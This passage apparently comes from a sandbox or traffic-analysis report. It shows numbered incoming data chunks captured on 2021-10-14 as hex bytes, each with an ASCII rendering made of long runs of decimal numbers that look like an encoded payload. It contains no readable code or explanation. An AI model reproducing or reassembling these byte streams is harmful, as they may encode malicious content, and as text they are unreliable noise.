20 35 30 20 31 32 34 20 36 39 20 31 31 39 20 31 30 39 20 31 31 38 20 31 37 38 20 30 20 35 30 20 35 34 20 38 30 20 39 
30 20 37 37 20 31 31 31 20 31 31 32 20 35 32 20 31 37 36 20 33 20 35 34 20 38 34 20 31 31 38 20 39 33 20 38 34 20 31 
31 34 20 35 30 20 35 34 20 31 37 38 20 34 20 38 34 20 31 31 34 20 31 31 33 20 36 39 20 37 34 20 34 38 20 34 38 20 35 
32 20 31 38 32 20 31 30 33 20 31 31 34 20 31 31 37 20 31 30 35 20 31 30 33 20 31 37 38 20 34 20 35 30 20 35 34 20 38 
30 20 31 30 31 20 32 34 35 20 38 38 20 31 31 32 20 35 30 20 35 32 20 31 38 
Data Ascii: 4 112 50 52 26 3 86 114 115 237 94 50 48 54 30 98 112 117 107 240 29 48 50 50 124 69 119 109 118 178 0 
50 54 80 90 77 111 112 52 176 3 54 84 118 93 84 114 50 54 178 4 84 114 113 69 74 48 48 52 182 103 114 117 105 103 1
78 4 50 54 80 101 245 88 112 50 52 18

2021-10-14 06:12:17 UTC 9 IN Data Raw: 30 34 20 35 37 20 34 38 20 35 33 20 33 32 20 31 37 30 20 31 31 35 20 38 39 20 31 31 31 20 31 30 33 20 35 
37 20 34 38 20 35 33 20 34 36 20 31 37 30 20 31 31 35 20 38 39 20 31 31 31 20 39 31 20 34 38 20 32 37 20 32 30 39 20 
37 32 20 37 35 20 31 31 34 20 31 31 37 20 31 30 35 20 39 30 20 35 30 20 33 35 20 32 20 35 32 20 38 34 20 32 35 32 20 
31 31 37 20 31 30 39 20 31 31 32 20 33 34 20 34 38 20 35 30 20 33 39 20 36 36 20 31 32 31 20 37 37 20 32 33 36 20 31 
31 32 20 35 30 20 34 38 20 35 30 20 34 39 20 37 39 20 31 34 30 20 31 31 36 20 36 35 20 31 32 30 20 34 38 20 31 37 36 
20 34 35 20 35 34 20 38 34 20 31 31 38 20 31 30 35 20 31 30 32 20 31 31 32 20 35 33 20 34 34 20 32 30 34 20 35 35 20 
31 32 30 20 31 32 36 20 31 31 20 31 31 34 20 31 31 32 20 35 30 20 35 32 20 
Data Ascii: 04 57 48 53 32 170 115 89 111 103 57 48 53 46 170 115 89 111 91 48 27 209 72 75 114 117 105 90 50 35 2 
52 84 252 117 109 112 34 48 50 39 66 121 77 236 112 50 48 50 49 79 140 116 65 120 48 176 45 54 84 118 105 102 112 5
3 44 204 55 120 126 11 114 112 50 52 

2021-10-14 06:12:17 UTC 10 IN Data Raw: 34 20 38 34 20 31 31 37 20 31 30 39 20 31 32 32 20 32 36 20 32 33 20 35 30 20 35 34 20 39 34 20 32 34 32 
20 39 38 20 31 30 39 20 31 31 32 20 35 34 20 36 37 20 32 36 20 35 34 20 38 34 20 31 32 30 20 31 32 37 20 31 30 37 20 
31 30 30 20 32 30 34 20 35 34 20 32 30 20 35 34 20 38 34 20 31 31 36 20 36 20 36 38 20 31 31 32 20 35 30 20 35 38 20 
39 33 20 32 38 20 38 34 20 31 31 34 20 31 32 37 20 31 30 37 20 31 30 33 20 39 33 20 32 37 20 35 30 20 35 34 20 39 34 
20 31 31 36 20 38 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 31 32 32 20 31 33 37 20 35 30 20 32 36 20 
36 35 20 31 31 32 20 35 30 20 35 38 20 35 32 20 38 39 20 31 32 31 20 31 31 34 20 31 31 37 20 31 30 33 20 31 31 31 20 
35 36 20 34 30 20 32 36 20 34 36 20 38 34 20 31 31 34 20 31 31 35 20 37 35 
Data Ascii: 4 84 117 109 122 26 23 50 54 94 242 98 109 112 54 67 26 54 84 120 127 107 100 204 54 20 54 84 116 6 68 
112 50 58 93 28 84 114 127 107 103 93 27 50 54 94 116 86 109 112 50 48 50 122 137 50 26 65 112 50 58 52 89 121 114 
117 103 111 56 40 26 46 84 114 115 75

2021-10-14 06:12:17 UTC 12 IN Data Raw: 30 20 36 30 20 37 31 20 31 31 36 20 31 30 30 20 31 30 37 20 39 32 20 38 33 20 34 37 20 36 32 20 31 38 37 
20 31 32 37 20 31 31 34 20 31 31 37 20 31 30 38 20 39 39 20 36 31 20 33 33 20 36 31 20 33 32 20 37 36 20 32 33 38 20 
31 30 30 20 39 38 20 31 30 33 20 33 36 20 31 37 32 20 33 35 20 35 37 20 37 36 20 31 30 30 20 32 33 33 20 31 32 34 20 
31 32 37 20 34 33 20 33 38 20 31 37 34 20 33 39 20 39 31 20 31 30 34 20 39 39 20 32 34 31 20 39 37 20 36 31 20 34 33 
20 33 36 20 31 37 30 20 36 39 20 31 32 35 20 31 30 35 20 31 32 33 20 32 33 36 20 33 35 20 36 33 20 34 37 20 33 32 20 
32 30 30 20 39 39 20 31 32 32 20 31 31 35 20 31 30 32 20 31 37 34 20 33 33 20 36 31 20 34 31 20 39 33 20 31 30 30 20 
32 33 33 20 31 32 34 20 31 32 37 20 34 35 20 35 38 20 33 36 20 31 37 30 20 
Data Ascii: 0 60 71 116 100 107 92 83 47 62 187 127 114 117 108 99 61 33 61 32 76 238 100 98 103 36 172 35 57 76 100 
233 124 127 43 38 174 39 91 104 99 241 97 61 43 36 170 69 125 105 123 236 35 63 47 32 200 99 122 115 102 174 33 61 
41 93 100 233 124 127 45 58 36 170 
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2021-10-14 06:12:17 UTC 13 IN Data Raw: 36 39 20 37 32 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 34 20 31 32 20 31 32 34 20 31 30 39 20 31 31 
32 20 35 34 20 32 38 20 31 32 31 20 36 39 20 31 32 34 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 36 32 20 33 33 
20 36 32 20 33 34 20 31 37 30 20 31 31 36 20 38 32 20 31 30 39 20 31 31 32 20 35 32 20 36 37 20 32 37 20 35 34 20 38 
34 20 31 32 30 20 32 36 20 37 31 20 31 31 32 20 35 30 20 35 38 20 33 35 20 35 38 20 31 31 36 20 31 38 20 31 35 39 20 
31 30 39 20 31 31 32 20 37 36 20 35 39 20 35 30 20 35 34 20 38 30 20 39 30 20 35 32 20 31 30 39 20 31 31 32 20 35 36 
20 32 33 32 20 39 34 20 38 39 20 31 32 30 20 31 31 34 20 31 31 37 20 31 30 33 20 39 37 20 36 32 20 33 39 20 39 33 20 
32 39 20 38 34 20 31 31 34 20 31 32 37 20 31 32 34 20 31 32 34 20 39 33 20 
Data Ascii: 69 72 50 48 56 232 84 12 124 109 112 54 28 121 69 124 114 117 103 99 62 33 62 34 170 116 82 109 112 52 
67 27 54 84 120 26 71 112 50 58 35 58 116 18 159 109 112 76 59 50 54 80 90 52 109 112 56 232 94 89 120 114 117 103 
97 62 39 93 29 84 114 127 124 124 93 

2021-10-14 06:12:17 UTC 14 IN Data Raw: 34 20 31 31 34 20 31 31 36 20 32 20 33 35 20 35 30 20 34 38 20 35 36 20 33 30 20 32 36 20 31 31 32 20 31 
31 37 20 31 30 37 20 31 30 32 20 32 36 20 33 30 20 35 30 20 35 34 20 39 34 20 31 30 30 20 37 30 20 37 34 20 31 32 30 
20 39 33 20 31 30 30 20 35 30 20 35 34 20 39 34 20 31 32 37 20 31 32 34 20 33 30 20 33 37 20 35 30 20 34 38 20 35 36 
20 33 37 20 38 30 20 39 39 20 31 31 33 20 32 20 33 38 20 35 30 20 34 38 20 35 36 20 33 37 20 38 31 20 39 39 20 31 31 
32 20 31 30 33 20 31 37 34 20 32 20 35 37 20 33 30 20 34 38 20 39 33 20 32 39 20 33 34 20 31 30 39 20 31 31 32 20 35 
36 20 32 33 36 20 32 33 36 20 36 30 20 39 32 20 39 34 20 31 31 35 20 31 30 31 20 33 31 20 31 30 31 20 34 38 20 35 30 
20 36 30 20 31 33 36 20 39 30 20 39 31 20 31 31 31 20 31 31 32 20 35 32 20 
Data Ascii: 4 114 116 2 35 50 48 56 30 26 112 117 107 102 26 30 50 54 94 100 70 74 120 93 100 50 54 94 127 124 30 37 
50 48 56 37 80 99 113 2 38 50 48 56 37 81 99 112 103 174 2 57 30 48 93 29 34 109 112 56 236 236 60 92 94 115 101 31 
101 48 50 60 136 90 91 111 112 52 

2021-10-14 06:12:17 UTC 16 IN Data Raw: 30 34 20 35 33 20 32 38 20 35 32 20 34 39 20 35 39 20 33 37 20 31 31 37 20 31 30 39 20 31 32 32 20 32 33 
38 20 32 33 38 20 36 32 20 33 30 20 39 39 20 31 31 34 20 31 31 37 20 31 30 33 20 38 38 20 31 30 20 34 38 20 35 30 20 
36 30 20 31 33 38 20 31 31 34 20 39 35 20 31 30 39 20 34 39 20 38 36 20 34 38 20 35 30 20 35 32 20 38 34 20 31 31 34 
20 31 31 37 20 32 35 32 20 31 31 32 20 35 30 20 34 38 20 39 37 20 35 34 20 38 34 20 31 31 34 20 31 34 35 20 31 30 39 
20 31 31 32 20 35 30 20 36 30 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 34 38 20 
34 38 20 35 30 20 35 34 20 34 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 30 20 35 30 20 34 38 20 35 30 20 31 39 36 
20 38 34 20 31 31 34 20 31 31 37 20 31 30 33 20 31 31 32 20 35 30 20 34 38 
Data Ascii: 04 53 28 52 49 59 37 117 109 122 238 238 62 30 99 114 117 103 88 10 48 50 60 138 114 95 109 49 86 48 50 
52 84 114 117 252 112 50 48 97 54 84 114 145 109 112 50 60 50 54 84 114 117 109 112 48 48 50 54 44 114 117 109 10 
50 48 50 196 84 114 117 103 112 50 48

2021-10-14 06:12:17 UTC 17 IN Data Raw: 35 31 20 32 34 20 39 30 20 35 34 20 38 34 20 31 32 30 20 39 33 20 34 20 31 31 32 20 35 30 20 35 38 20 39 
34 20 32 31 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 31 36 30 20 31 31 34 20 31 30 39 20 
31 31 39 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 31 36 32 20 31 31 38 20 31 35 20 31 30 
36 20 39 33 20 37 20 31 31 32 20 35 30 20 35 38 20 32 36 20 39 33 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 33 35 
20 34 38 20 34 38 20 35 32 20 33 30 20 31 31 32 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 35 34 20 33 33 20 35 
34 20 36 30 20 31 33 38 20 39 36 20 39 33 20 39 30 20 31 31 32 20 35 30 20 35 38 20 32 36 20 39 38 20 38 36 20 31 31 
34 20 31 31 35 20 31 30 33 20 38 38 20 31 30 20 34 38 20 35 30 20 36 30 20 
Data Ascii: 51 24 90 54 84 120 93 4 112 50 58 94 21 84 114 117 109 112 50 160 114 109 119 114 117 109 112 50 48 162 
118 15 106 93 7 112 50 58 26 93 84 114 127 69 35 48 48 52 30 112 114 117 103 99 54 33 54 60 138 96 93 90 112 50 58 
26 98 86 114 115 103 88 10 48 50 60 

2021-10-14 06:12:17 UTC 18 IN Data Raw: 20 37 20 35 30 20 35 34 20 39 34 20 39 30 20 39 31 20 31 31 31 20 31 31 32 20 35 32 20 35 38 20 32 36 20 
31 34 20 38 34 20 31 31 34 20 31 32 37 20 31 37 39 20 31 31 32 20 35 32 20 32 36 20 35 31 20 33 38 20 38 34 20 31 31 
34 20 31 31 37 20 31 30 39 20 31 31 32 20 35 30 20 34 30 20 34 32 20 35 34 20 37 30 20 31 30 34 20 31 31 37 20 31 30 
39 20 31 31 33 20 34 31 20 30 20 35 32 20 35 34 20 32 31 20 31 31 35 20 31 31 37 20 31 30 39 20 31 30 37 20 35 30 20 
34 38 20 33 35 20 33 30 20 32 34 39 20 31 31 34 20 31 31 37 20 31 30 37 20 31 32 32 20 35 32 20 39 35 20 37 31 20 35 
34 20 38 34 20 31 32 30 20 31 32 36 20 31 39 20 31 32 36 20 35 30 20 34 38 20 35 34 20 33 32 20 31 30 33 20 39 36 20 
31 30 35 20 31 30 36 20 38 38 20 36 38 20 34 38 20 35 30 20 36 30 20 31 32 
Data Ascii:  7 50 54 94 90 91 111 112 52 58 26 14 84 114 127 179 112 52 26 51 38 84 114 117 109 112 50 40 42 54 70 
104 117 109 113 41 0 52 54 21 115 117 109 107 50 48 35 30 249 114 117 107 122 52 95 71 54 84 120 126 19 126 50 48 5
4 32 103 96 105 106 88 68 48 50 60 12

2021-10-14 06:12:17 UTC 20 IN Data Raw: 20 31 31 37 20 31 37 33 20 31 31 32 20 35 30 20 34 38 20 36 32 20 35 34 20 38 34 20 31 31 34 20 31 31 31 
20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 35 30 20 35 34 20 38 34 20 31 36 36 20 31 31 37 20 31 30 39 20 31 31 32 
20 31 32 36 20 34 38 20 35 30 20 35 34 20 31 31 36 20 31 31 35 20 31 31 37 20 31 30 39 20 31 32 34 20 35 30 20 34 38 
20 35 30 20 34 34 20 38 34 20 31 31 34 20 31 31 36 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 
34 20 31 31 34 20 36 35 20 31 30 38 20 31 31 32 20 35 30 20 34 20 35 31 20 35 34 20 38 34 20 31 32 36 20 31 31 37 20 
31 30 39 20 31 31 32 20 34 30 20 34 38 20 35 30 20 35 35 20 37 39 20 36 36 20 31 31 35 20 31 30 39 20 31 30 31 20 34 
38 20 34 38 20 35 30 20 34 32 20 38 34 20 31 31 34 20 31 30 30 20 31 32 37 
Data Ascii:  117 173 112 50 48 62 54 84 114 111 109 112 51 48 50 54 84 166 117 109 112 126 48 50 54 116 115 117 109 
124 50 48 50 44 84 114 116 109 112 50 48 50 54 84 114 65 108 112 50 4 51 54 84 126 117 109 112 40 48 50 55 79 66 1
15 109 101 48 48 50 42 84 114 100 127

2021-10-14 06:12:17 UTC 21 IN Data Raw: 34 20 32 34 20 31 31 39 20 35 32 20 38 34 20 31 31 36 20 39 33 20 35 38 20 31 31 34 20 35 30 20 35 34 20 
39 33 20 37 38 20 38 34 20 31 31 34 20 31 32 37 20 32 30 37 20 39 37 20 33 39 20 34 30 20 32 36 20 31 31 30 20 38 36 
20 31 31 34 20 31 31 35 20 32 30 37 20 39 37 20 33 39 20 34 31 20 32 36 20 37 39 20 38 34 20 31 31 34 20 31 32 37 20 
31 32 36 20 31 30 30 20 33 32 20 33 36 20 37 36 20 33 32 20 38 34 20 31 31 34 20 31 31 33 20 36 39 20 31 30 20 35 30 
20 34 38 20 35 36 20 31 34 38 20 36 39 20 31 30 33 20 31 31 31 20 36 39 20 31 36 20 34 38 20 34 38 20 35 32 20 31 34 
38 20 36 39 20 31 30 33 20 39 33 20 32 32 20 31 31 32 20 35 30 20 35 38 20 32 36 20 32 35 20 38 34 20 31 31 34 20 31 
31 35 20 37 30 20 32 32 20 37 36 20 36 32 20 35 30 20 35 34 20 38 30 20 31 
Data Ascii: 4 24 119 52 84 116 93 58 114 50 54 93 78 84 114 127 207 97 39 40 26 110 86 114 115 207 97 39 41 26 79 84 
114 127 126 100 32 36 76 32 84 114 113 69 10 50 48 56 148 69 103 111 69 16 48 48 52 148 69 103 93 22 112 50 58 26 
25 84 114 115 70 22 76 62 50 54 80 1

2021-10-14 06:12:17 UTC 22 IN Data Raw: 20 39 34 20 39 30 20 32 32 20 31 31 31 20 31 31 32 20 35 32 20 32 34 20 32 32 20 35 34 20 38 34 20 31 32 
30 20 31 32 36 20 31 39 20 31 32 30 20 35 30 20 34 38 20 35 34 20 35 38 20 36 36 20 31 32 37 20 31 32 35 20 31 32 37 
20 31 31 35 20 32 36 20 31 36 32 20 35 30 20 35 34 20 39 34 20 31 31 36 20 31 31 20 31 30 31 20 31 31 32 20 35 30 20 
35 32 20 32 36 20 31 38 20 38 34 20 31 31 34 20 31 32 37 20 31 30 33 20 31 34 20 31 36 31 20 34 38 20 35 30 20 36 30 
20 32 31 32 20 31 32 32 20 31 31 37 20 31 30 39 20 31 31 36 20 32 33 36 20 35 38 20 35 39 20 32 36 20 38 32 20 31 32 
32 20 39 33 20 32 34 39 20 31 31 32 20 35 30 20 35 38 20 32 33 38 20 37 32 20 39 30 20 31 31 34 20 31 31 37 20 31 30 
35 20 31 30 32 20 31 20 31 32 20 35 33 20 33 30 20 31 30 31 20 31 31 34 20 
Data Ascii:  94 90 22 111 112 52 24 22 54 84 120 126 19 120 50 48 54 58 66 127 125 127 115 26 162 50 54 94 116 11 
101 112 50 52 26 18 84 114 127 103 14 161 48 50 60 212 122 117 109 116 236 58 59 26 82 122 93 249 112 50 58 238 72 
90 114 117 105 102 1 12 53 30 101 114 
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2021-10-14 06:12:17 UTC 24 IN Data Raw: 38 20 31 30 36 20 35 30 20 35 30 20 34 38 20 32 34 36 20 39 39 20 31 31 32 20 31 31 36 20 38 38 20 37 35 
20 34 38 20 35 30 20 36 30 20 37 31 20 31 31 38 20 31 30 33 20 31 30 35 20 31 34 20 33 36 20 34 38 20 35 30 20 35 30 
20 31 32 34 20 38 20 31 31 37 20 31 30 39 20 31 32 32 20 31 34 34 20 33 33 20 35 35 20 34 34 20 31 32 34 20 32 30 20 
31 31 39 20 31 30 39 20 31 31 38 20 31 34 34 20 33 33 20 35 35 20 33 30 20 34 37 20 31 31 34 20 31 31 37 20 31 30 33 
20 38 38 20 38 35 20 35 30 20 35 30 20 34 38 20 31 32 34 20 39 30 20 31 31 37 20 31 30 39 20 31 31 38 20 35 32 20 32 
34 20 39 30 20 35 32 20 38 34 20 31 31 36 20 39 33 20 31 37 20 31 31 32 20 35 30 20 35 38 20 32 36 20 32 34 20 38 34 
20 31 31 34 20 31 31 35 20 38 35 20 31 37 32 20 35 30 20 34 38 20 35 30 20 
Data Ascii: 8 106 50 50 48 246 99 112 116 88 75 48 50 60 71 118 103 105 14 36 48 50 50 124 8 117 109 122 144 33 55 
44 124 20 119 109 118 144 33 55 30 47 114 117 103 88 85 50 50 48 124 90 117 109 118 52 24 90 52 84 116 93 17 112 50 
58 26 24 84 114 115 85 172 50 48 50 

2021-10-14 06:12:17 UTC 25 IN Data Raw: 20 33 30 20 31 30 38 20 31 31 34 20 31 31 37 20 31 30 33 20 31 37 34 20 35 30 20 32 36 20 35 30 20 35 34 
20 32 31 20 37 30 20 31 31 37 20 31 30 39 20 31 31 34 20 35 30 20 34 38 20 35 30 20 32 20 38 34 20 31 31 34 20 31 31 
37 20 37 37 20 31 31 32 20 35 30 20 34 38 20 31 30 32 20 35 34 20 38 34 20 31 31 34 20 31 32 37 20 31 30 39 20 31 31 
32 20 35 30 20 34 38 20 35 30 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 31 30 38 20 34 38 
20 35 30 20 35 34 20 32 32 33 20 31 31 32 20 31 31 37 20 31 30 39 20 31 35 33 20 34 38 20 34 38 20 35 30 20 37 30 20 
38 34 20 31 31 34 20 31 31 37 20 31 31 39 20 31 31 32 20 35 30 20 34 39 20 33 33 20 36 20 38 30 20 31 31 34 20 38 39 
20 31 31 31 20 31 31 32 20 35 30 20 34 36 20 35 30 20 35 34 20 36 39 20 31 
Data Ascii:  30 108 114 117 103 174 50 26 50 54 21 70 117 109 114 50 48 50 2 84 114 117 77 112 50 48 102 54 84 114 
127 109 112 50 48 50 54 84 114 117 109 112 108 48 50 54 223 112 117 109 153 48 48 50 70 84 114 117 119 112 50 49 
33 6 80 114 89 111 112 50 46 50 54 69 1

2021-10-14 06:12:17 UTC 26 IN Data Raw: 35 30 20 34 38 20 35 36 20 36 31 20 37 35 20 31 30 36 20 31 30 32 20 31 30 35 20 31 31 32 20 33 35 20 35 
32 20 34 32 20 32 30 30 20 38 35 20 39 34 20 31 32 36 20 31 31 34 20 39 38 20 31 39 31 20 33 37 20 35 30 20 35 34 20 
38 35 20 31 32 37 20 31 30 38 20 31 32 36 20 31 31 36 20 35 30 20 33 33 20 35 34 20 34 31 20 37 30 20 31 34 30 20 31 
31 36 20 36 35 20 31 32 35 20 35 39 20 34 37 20 36 31 20 33 30 20 33 39 20 31 31 32 20 31 31 37 20 31 30 37 20 32 31 
30 20 34 35 20 33 35 20 33 33 20 35 30 20 38 34 20 39 39 20 31 31 33 20 31 32 32 20 31 34 32 20 35 31 20 32 38 20 34 
39 20 34 36 20 37 31 20 31 31 38 20 31 31 37 20 31 32 34 20 31 31 36 20 34 35 20 33 36 20 32 30 34 20 35 35 20 31 32 
30 20 31 32 37 20 31 32 34 20 31 31 34 20 39 37 20 37 36 20 34 30 20 35 30 
Data Ascii: 50 48 56 61 75 106 102 105 112 35 52 42 200 85 94 126 114 98 191 37 50 54 85 127 108 126 116 50 33 54 41 
70 140 116 65 125 59 47 61 30 39 112 117 107 210 45 35 33 50 84 99 113 122 142 51 28 49 46 71 118 117 124 116 45 
36 204 55 120 127 124 114 97 76 40 50

2021-10-14 06:12:17 UTC 28 IN Data Raw: 31 32 34 20 31 31 38 20 31 31 37 20 31 30 39 20 31 31 38 20 39 33 20 31 37 30 20 35 30 20 35 34 20 39 34 
20 32 39 20 32 30 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 31 36 39 20 35 34 20 38 34 20 31 32 30 20 31 30 36 20 
31 30 33 20 32 35 32 20 31 30 39 20 34 38 20 35 30 20 35 35 20 31 32 34 20 32 33 33 20 31 31 37 20 31 30 39 20 31 32 
32 20 32 36 20 36 36 20 34 38 20 35 34 20 38 32 20 39 30 20 32 33 38 20 31 30 39 20 31 31 32 20 35 36 20 33 39 20 32 
36 20 32 32 20 38 34 20 31 31 34 20 31 31 35 20 36 39 20 32 33 35 20 35 30 20 34 38 20 35 36 20 34 31 20 39 34 20 32 
35 34 20 34 32 20 31 30 39 20 31 31 32 20 35 31 20 32 34 20 31 36 39 20 35 34 20 38 34 20 31 32 30 20 39 33 20 33 30 
20 31 31 34 20 35 30 20 35 34 20 32 36 20 31 37 33 20 38 34 20 31 31 34 20 
Data Ascii: 124 118 117 109 118 93 170 50 54 94 29 20 109 112 56 24 169 54 84 120 106 103 252 109 48 50 55 124 233 
117 109 122 26 66 48 54 82 90 238 109 112 56 39 26 22 84 114 115 69 235 50 48 56 41 94 254 42 109 112 51 24 169 54 
84 120 93 30 114 50 54 26 173 84 114 

2021-10-14 06:12:17 UTC 29 IN Data Raw: 39 20 34 38 20 35 34 20 38 32 20 31 30 31 20 32 36 20 38 30 20 31 31 32 20 35 30 20 35 38 20 32 36 20 31 
32 36 20 38 36 20 31 31 34 20 31 31 35 20 32 20 32 33 38 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 38 20 39 30 20 
36 36 20 31 30 39 20 31 31 32 20 35 36 20 32 34 20 31 30 20 35 34 20 38 34 20 31 32 30 20 31 37 31 20 31 30 39 20 31 
34 20 36 31 20 34 38 20 35 30 20 35 30 20 31 32 34 20 37 35 20 31 31 37 20 31 30 39 20 31 32 32 20 32 33 36 20 36 30 
20 32 36 20 31 20 38 34 20 31 31 34 20 31 32 37 20 36 39 20 37 32 20 35 30 20 34 38 20 35 36 20 32 33 32 20 38 34 20 
39 30 20 36 36 20 31 30 39 20 31 31 32 20 35 32 20 32 33 38 20 36 32 20 33 30 20 39 39 20 31 31 34 20 31 31 37 20 31 
30 33 20 38 38 20 31 30 20 34 38 20 35 30 20 36 30 20 31 33 38 20 31 31 34 
Data Ascii: 9 48 54 82 101 26 80 112 50 58 26 126 86 114 115 2 238 50 48 56 232 88 90 66 109 112 56 24 10 54 84 120 
171 109 14 61 48 50 50 124 75 117 109 122 236 60 26 1 84 114 127 69 72 50 48 56 232 84 90 66 109 112 52 238 62 30 
99 114 117 103 88 10 48 50 60 138 114

2021-10-14 06:12:17 UTC 30 IN Data Raw: 31 31 37 20 31 30 33 20 31 32 32 20 33 35 20 35 35 20 34 32 20 31 36 36 20 31 32 30 20 39 30 20 31 30 30 
20 31 30 35 20 31 30 30 20 32 36 20 31 37 37 20 34 38 20 35 34 20 38 32 20 31 30 31 20 32 34 38 20 31 30 36 20 31 31 
32 20 35 30 20 34 39 20 33 33 20 36 32 20 36 39 20 31 32 32 20 39 39 20 31 32 34 20 31 31 38 20 34 32 20 31 37 30 20 
32 36 20 33 39 20 38 34 20 31 31 34 20 31 32 37 20 32 30 37 20 39 37 20 35 38 20 33 36 20 33 38 20 33 33 20 36 36 20 
39 30 20 32 32 31 20 31 30 39 20 31 31 32 20 35 36 20 35 36 20 33 38 20 33 30 20 32 31 35 20 31 31 32 20 31 31 37 20 
31 30 37 20 31 30 32 20 31 39 31 20 35 35 20 35 30 20 35 34 20 38 35 20 31 30 32 20 39 37 20 31 32 31 20 31 30 33 20 
32 36 20 31 35 31 20 35 30 20 35 34 20 39 34 20 38 34 20 31 37 31 20 39 39 
Data Ascii: 117 103 122 35 55 42 166 120 90 100 105 100 26 177 48 54 82 101 248 106 112 50 49 33 62 69 122 99 124 
118 42 170 26 39 84 114 127 207 97 58 36 38 33 66 90 221 109 112 56 56 38 30 215 112 117 107 102 191 55 50 54 85 
102 97 121 103 26 151 50 54 94 84 171 99

2021-10-14 06:12:17 UTC 32 IN Data Raw: 36 30 20 35 39 20 31 39 32 20 31 31 37 20 31 30 39 20 31 32 32 20 34 35 20 36 32 20 33 33 20 36 31 20 38 
34 20 39 39 20 31 32 36 20 31 31 34 20 31 32 34 20 32 30 34 20 34 39 20 33 30 20 34 36 20 38 36 20 39 39 20 31 31 33 
20 36 39 20 34 32 20 35 30 20 34 38 20 35 36 20 38 39 20 32 32 39 20 31 31 34 20 31 31 37 20 31 30 33 20 32 35 32 20 
35 35 20 34 38 20 35 30 20 34 35 20 37 31 20 31 31 39 20 31 30 36 20 39 36 20 39 39 20 35 37 20 34 38 20 33 35 20 36 
31 20 37 35 20 31 32 35 20 31 33 39 20 31 30 38 20 39 32 20 33 36 20 35 34 20 33 37 20 31 38 36 20 31 30 37 20 31 31 
34 20 31 31 37 20 31 30 38 20 31 30 32 20 32 36 20 31 33 31 20 35 30 20 35 34 20 39 34 20 37 32 20 31 30 30 20 31 30 
38 20 31 31 32 20 35 30 20 34 37 20 33 34 20 33 37 20 39 35 20 31 31 34 20 
Data Ascii: 60 59 192 117 109 122 45 62 33 61 84 99 126 114 124 204 49 30 46 86 99 113 69 42 50 48 56 89 229 114 117 
103 252 55 48 50 45 71 119 106 96 99 57 48 35 61 75 125 139 108 92 36 54 37 186 107 114 117 108 102 26 131 50 54 
94 72 100 108 112 50 47 34 37 95 114 

2021-10-14 06:12:17 UTC 33 IN Data Raw: 20 31 30 20 32 30 37 20 32 30 37 20 32 30 31 20 31 37 31 20 31 31 32 20 39 35 20 31 30 39 20 31 30 37 20 
32 20 35 36 20 35 30 20 31 31 31 20 39 30 20 31 31 34 20 31 31 37 20 37 33 20 31 31 32 20 35 30 20 33 33 20 36 35 20 
31 34 33 20 38 34 20 31 31 34 20 31 32 37 20 31 32 36 20 31 31 39 20 36 35 20 31 33 38 20 35 30 20 35 34 20 39 34 20 
39 37 20 31 32 35 20 31 31 34 20 31 30 38 20 32 36 20 31 33 39 20 35 30 20 35 34 20 39 34 20 31 32 37 20 36 20 32 30 
39 20 31 31 32 20 35 30 20 35 38 20 33 33 20 35 31 20 33 39 20 32 30 37 20 31 31 37 20 31 30 39 20 31 32 32 20 35 37 
20 35 35 20 32 36 20 31 37 39 20 38 36 20 31 31 34 20 31 31 35 20 31 31 34 20 31 30 36 20 32 36 20 31 33 39 20 35 30 
20 35 34 20 39 34 20 39 30 20 32 34 33 20 31 31 31 20 31 31 32 20 35 32 20 
Data Ascii:  10 207 207 201 171 112 95 109 107 2 56 50 111 90 114 117 73 112 50 33 65 143 84 114 127 126 119 65 138 
50 54 94 97 125 114 108 26 139 50 54 94 127 6 209 112 50 58 33 51 39 207 117 109 122 57 55 26 179 86 114 115 114 1
06 26 139 50 54 94 90 243 111 112 52 
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2021-10-14 06:12:17 UTC 34 IN Data Raw: 31 32 20 35 36 20 35 35 20 32 36 20 31 37 31 20 38 36 20 31 31 34 20 31 31 35 20 31 30 30 20 38 38 20 31 
37 32 20 35 30 20 35 30 20 34 38 20 31 32 34 20 32 30 34 20 31 31 37 20 31 30 39 20 31 32 32 20 33 37 20 36 37 20 31 
34 31 20 35 34 20 38 34 20 31 32 30 20 32 36 20 31 37 33 20 31 31 32 20 35 30 20 35 38 20 35 33 20 33 30 20 32 30 33 
20 31 31 32 20 31 31 37 20 31 30 37 20 31 32 31 20 32 36 20 31 34 34 20 34 38 20 35 34 20 38 32 20 39 30 20 32 30 33 
20 31 30 39 20 31 31 32 20 35 36 20 33 39 20 36 35 20 31 33 37 20 38 34 20 31 31 34 20 31 32 37 20 32 20 31 37 36 20 
35 30 20 34 38 20 35 36 20 34 39 20 31 32 34 20 32 31 31 20 31 31 39 20 31 30 39 20 31 31 38 20 35 39 20 32 34 20 31 
34 34 20 35 32 20 38 34 20 31 31 36 20 39 33 20 32 31 31 20 31 31 32 20 35 
Data Ascii: 12 56 55 26 171 86 114 115 100 88 172 50 50 48 124 204 117 109 122 37 67 141 54 84 120 26 173 112 50 58 
53 30 203 112 117 107 121 26 144 48 54 82 90 203 109 112 56 39 65 137 84 114 127 2 176 50 48 56 49 124 211 119 109 
118 59 24 144 52 84 116 93 211 112 5

2021-10-14 06:12:17 UTC 36 IN Data Raw: 31 37 20 35 30 20 34 38 20 32 35 20 33 37 20 38 30 20 39 39 20 31 31 33 20 32 35 20 32 37 20 35 30 20 34 
38 20 35 31 20 38 39 20 31 34 39 20 31 31 34 20 31 31 37 20 31 30 33 20 39 39 20 31 33 20 32 37 20 33 20 33 39 20 31 
30 37 20 32 39 20 31 38 33 20 31 30 39 20 31 31 32 20 35 36 20 36 38 20 36 33 20 35 34 20 38 34 20 31 30 35 20 31 30 
32 20 31 30 33 20 39 37 20 35 36 20 37 35 20 32 34 31 20 35 34 20 38 34 20 31 32 30 20 38 39 20 31 31 39 20 39 37 20 
